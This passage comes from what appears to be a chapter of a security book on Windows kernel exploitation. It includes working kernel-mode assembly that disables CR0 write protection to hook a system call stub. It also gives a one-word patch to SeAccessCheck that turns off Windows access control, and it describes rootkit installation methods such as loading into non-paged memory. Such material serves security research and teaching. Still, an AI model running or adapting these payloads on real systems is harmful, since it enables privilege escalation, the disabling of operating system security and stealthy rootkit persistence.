     *pdwTargetPidAddr = dwTargetPid;

     // Disable interrupts
```

```
        asm { cli }

        *pdwNewSystemCallStub = *pdwOriginalSystemCallStub;
        *pdwOriginalSystemCallStub = (DWORD) pdwPassThruAddr;

        // Re-enable interrupts

        asm { sti }

        // Re-enable memory protection

        asm { push eax
              mov eax, cr0
              or eax, 10000h
              mov cr0, eax
              pop eax
            }

        return STATUS_SUCCESS;
}
```

The preceding code simply executes a user-mode payload consisting of a NOP. Furthermore, it executes this payload from within `SharedUserData` itself; on systems with DEP enabled, `SharedUserData` will need to be marked executable first. The addresses we've chosen for our pass-through code and for storing variables such as the target PID are arbitrary.

## Subverting Kernel Security

The purpose of this payload is to demonstrate making a subtle change to a kernel code page in order to disable access control. The crux of Windows security comes down to a single routine belonging to the Security Reference Monitor family of functions. This function is called `SeAccessCheck`, and it is exported by `ntoskrnl`. Its purpose is to determine whether the requested access rights can be granted to an object protected by a security descriptor and an object owner. Patching this function to always grant the requested access rights effectively disables access control. It is possible to perform this with a single byte patch. Take a look at `SeAccessCheck`'s prototype:

```
BOOLEAN
  SeAccessCheck(
    IN PSECURITY_DESCRIPTOR  SecurityDescriptor,
    IN PSECURITY_SUBJECT_CONTEXT  SubjectSecurityContext,
    IN BOOLEAN  SubjectContextLocked,
```

```
    IN ACCESS_MASK  DesiredAccess,
    IN ACCESS_MASK  PreviouslyGrantedAccess,
    OUT PPRIVILEGE_SET  *Privileges  OPTIONAL,
    IN PGENERIC_MAPPING  GenericMapping,
    IN KPROCESSOR_MODE  AccessMode,
    OUT PACCESS_MASK  GrantedAccess,
    OUT PNTSTATUS  AccessStatus
    );
```

`SeAccessCheck` is a large and complex function. Disassembling from the start we notice that early on a branch occurs based on the value of the `AccessMode` parameter:

```
kd> u SeAccessCheck
nt!SeAccessCheck:

80563cc8 8bff            mov     edi,edi
80563cca 55              push    ebp
80563ccb 8bec            mov     ebp,esp
80563ccd 53              push    ebx
80563cce 33db            xor     ebx,ebx
80563cd0 385d24          cmp     [ebp+0x24],bl
80563cd3 0f8440ce0000    je      nt!SeAccessCheck+0xd (80570b19)
```

The `AccessMode` parameter specifies whether it is the kernel itself requesting access rights to an object or ultimately a request that originated from user mode. Because there is no security once you are executing code in kernel mode, the kernel is always granted the requested access rights. We can, therefore, patch the `je` instruction to a `jmp` so that both the user-mode case and the kernel-mode case execute the "from kernel" code path.

Take a look at the payload:

```
push eax

// Disable interrupts so that we won't get preempted half way through
which may leave the patch incomplete
cli

// Disable the write protect bit in Control Register 0 (CR0) so that we
can write to kernel code pages
mov eax, cr0
and eax, not 10000h
mov cr0, eax

// Overwrite the je with a nop; jmp
mov eax, 0x80563cd3
mov word ptr [eax], 0xe990

// Re-enable the write protect bit
mov eax, cr0
```

```
or eax, 10000h
mov cr0, eax

//Re-enable interrupts.
sti

pop eax
```

Note that we are using a hardcoded address for `SeAccessCheck`. To make this payload more robust we could make it determine the version of Windows and select the appropriate address to overwrite. We could make it truly dynamic by looking up the address of `SeAccessCheck` in the export table of `ntoskrnl` and implementing a simple disassembler to correctly locate the `je` instruction.

## Installing a Rootkit

A common use of kernel-mode exploits is to install a rootkit. There are several means of accomplishing this:

Perhaps the easiest is to implement the rootkit as a device drive, and load it from disk via the Native API function `ZwLoadDriver`. This function requires there to be a registry key under `HKLM\System\CurrentControlSet\Services\<DriverName>` containing an `ImagePath` subkey that holds the location of the driver. This is not a stealthy approach. A more suitable technique was published by Greg Hoglund of Rootkit.com. This technique uses the native API function `ZwSetSystemInformation` and is documented at `http://archives.neohapsis.com/archives/ntbugtraq/2000-q3/0114.html`.

An even stealthier approach, given that the kernel payload is running in ring zero, is simply to allocate non-paged memory and copy in the rootkit from disk or from the network, fixing up relocations and imports as required.

For more information on developing rootkits, we advise you to consult *Rootkits: Subverting the Windows Kernel* by Greg Hoglund and Jamie Bulter (Addison-Wesley Professional, 2005) and *Professional Rootkits* by Ric Vieler (Wrox, 2007).

# Essential Reading for Kernel Shellcoders

The following papers are recommended for those interested in pursuing kernel-mode bug hunting and exploitation in further detail. Despite an increase in the number of kernel-mode flaws that are reported each month, there are relatively few resources on hacking the kernel compared with those that cover user-mode bug discovery and exploitation techniques.

bugcheck and skape. "Kernel-mode Payloads on Windows." http://www.uninformed.org/?v=3&a=4&t=pdf

Cache, Johnny, Moore H D, and skape. "Exploiting 802.11 Wireless Driver Vulnerabilities on Windows." http://www.uninformed.org/?v=6&a=2&t=pdf

Jack, Barnaby. "Remote Windows Kernel Exploitation: Step into the Ring 0." eEye Digital Security white paper. http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf

Lord Yup. "Win32 Device Drivers Communication Vulnerabilities." http://solo-web.ifrance.com/win32ddc.html

Microsoft. "User-Mode Interactions: Guidelines for Kernel-Mode Drivers." http://download.microsoft.com/download/e/b/a/eba1050f-a31d-436b-9281-92cdfeae4b45/KM-UMGuide.doc

## Conclusion

In this chapter we've covered the most common types of kernel flaw that lead to arbitrary code execution and discussed some useful payloads. The underlying message to take away from this chapter is that kernel code, especially third-party driver code, suffers from the same classes of bug that security researchers have been discovering and exploiting for years. Given that there is still relatively little focus on locating kernel bugs, there is undoubtedly low-hanging fruit left on the tree.